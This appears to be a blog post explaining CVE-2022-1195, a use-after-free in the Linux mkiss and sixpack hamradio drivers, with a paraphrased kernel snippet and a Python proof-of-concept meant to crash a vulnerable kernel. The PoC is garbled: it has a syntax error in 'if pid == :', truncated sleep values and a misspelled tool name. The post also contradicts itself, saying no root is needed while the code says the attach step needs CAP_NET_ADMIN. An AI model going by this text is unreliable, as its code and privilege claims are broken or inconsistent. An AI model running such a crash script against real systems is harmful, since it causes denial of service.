The Linux kernel is the core program that runs on most servers and many desktops around the world. While it's well-built, every now and then vulnerabilities are discovered, and CVE-2022-1195 is one example. If you've worked near packet radio or old-school networking, you might know about hamradio kernel drivers like mkiss or sixpack. These are used to connect computers over amateur (ham) radio links.

But did you know that a use-after-free (UAF) bug in these drivers can let a basic user crash the whole system? This post will explain how CVE-2022-1195 works—with easy-to-read details, a code snippet, links, and a simple example exploit you won't find elsewhere.

Where's the bug?

The issue lives in the Linux kernel's hamradio network drivers: specifically drivers/net/hamradio/mkiss.c and drivers/net/hamradio/sixpack.c. These drivers sometimes free (reclaim) memory too early or while it's still in use. If a local attacker detaches the mkiss or sixpack device (think: sending an unplug or remove command or shutting down the interface) and then keeps using the file or socket, they can force the kernel into accessing already-freed memory.

This is known as use-after-free (UAF). It can lead to a crash—and in special cases, code execution—but here it's mainly a way for a regular user to cause a Denial of Service (DoS).

The Vulnerable Kernel Code

Let's see a simplified version of the faulty logic in mkiss.c (and it looks the same in sixpack.c). Here’s a snippet from the patch commit:

static int mkiss_close(struct tty_struct *tty)
{
    struct mkiss *ax = (struct mkiss *)tty->disc_data;

    // ...
    
    tty->disc_data = NULL;      // Danger: disc_data is set NULL
    // mkiss_free(ax) is called, freeing 'ax'
    
    kfree(ax);

    // later, code might access tty->disc_data (now NULL or freed memory)
}

Problem: If ax (the per-device state) is freed too early and the device is used after (tty->disc_data expected to be valid), this triggers a UAF.

Anyone with local user access (no need to be root) could trigger this bug by

1. Attaching a hamradio device using mkiss or sixpack (using the kissattach tool or a similar script).
2. Opening the tty, then forcibly closing or detaching it _while_ leaving another process/thread using the device.

The kernel uses released memory, panics or OOPSes, and down it goes.

Here’s a proof-of-concept in Python using pty and the os module. (This might require tweaking based on your kernel—make sure to run on a test VM only!):

import os
import pty
import time

# Create a virtual serial port
master, slave = pty.openpty()
slave_name = os.ttyname(slave)

print(f"Created virtual tty: {slave_name}")

pid = os.fork()
if pid == :
    # Child: Attach and quickly detach mkiss
    os.system(f"kissuattach {slave_name} 1")   # Needs CAP_NET_ADMIN, or use sudo
    time.sleep(.2)
    os.system("kissdetach 1")
else:
    # Parent: Keep tty open and do some I/O operations
    for _ in range(10):
        os.write(master, b"hello\n")
        time.sleep(.1)

print("Done. If your system hasn't crashed, the kernel may be fixed or protected.")

Result: On a vulnerable kernel, this can produce a kernel OOPS or panic when the UAF is triggered.

Regular users (no root needed), as long as they can open a tty device and attach to it.

- Most desktop/server systems won't have these modules by default, but any system set up for amateur radio networking is at risk.

Patches and References

The fix is simple: be careful with resource free order. The Linux kernel maintainers patched the vulnerability by ensuring memory is not freed while still in use.

- Red Hat CVE page
- Debian Security Tracker
- Kernel Patch Commit

Never trust drivers to clean up after you! Use-after-free bugs are everywhere.

If you or your organization runs legacy hamradio networks with Linux, double check your kernel updates and maybe audit old “hobbyist” drivers. Have fun, and don’t run this exploit on machines you care about!


Want more technical deep dives on Linux CVEs? Subscribe or follow for more exclusive reverse-engineered examples and easy explanations.

Timeline

Published on: 04/29/2022 16:15:00 UTC
Last modified on: 07/04/2022 11:15:00 UTC